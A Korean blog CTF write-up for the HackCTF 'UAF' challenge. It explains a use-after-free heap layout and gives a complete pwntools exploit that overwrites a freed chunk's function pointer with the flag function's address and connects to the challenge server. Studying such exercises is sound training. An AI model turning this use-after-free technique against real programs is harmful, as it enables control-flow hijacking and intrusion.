HACKCTF - UAF

2020. 8. 4. 13:58CTF's Write-up

문제 화면

가장 전형적인 UAF문제로 볼 수 있습니다.

8짜리 malloc2개를 진행해주고, ("AAAA", "BBBB")

다시 free해 줍니다.

이렇게 되면 추후에 병합이 일어나지 않도록 방어막 하나를 쳐줍니다. (16byte, "CCCCCCCC")

그리고 다시 8byte를 만들어주면

0x87c0008 부분이 ABCD로 바뀌게 됩니다. 그리고 이 부분을 호출하면

해당 부분으로 이동할 수 없다고 되니 이 부분을 flag주소로 변환해주면 될 듯 합니다.

payload 는 아래와 같습니다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3020)
#r = process("./uaf")
context.log_level = "debug"
flag = 0x08048986


def add(size, string) :
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(size)
    r.recvuntil(":")
    r.sendline(string)

def delete(num) :
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(num)

def printf(num) :
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(num)

add("8", "AAAA")
add("8", "BBBB")
delete("0")
delete("1")
add("16", "CCCCCCCC")
add("8", p32(flag))
printf("0")
r.interactive()

 

실행하면!?

 

 

flag획득이 가능합니다.

 

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - 잔상  (0) 2020.08.05
DreamHack - hook  (0) 2020.08.04
HACKCTF - RSA  (0) 2020.08.04
HACKCTF - AVR Programming (2)  (0) 2020.08.04
HACKCTF - Classic Cipher -3  (0) 2020.08.03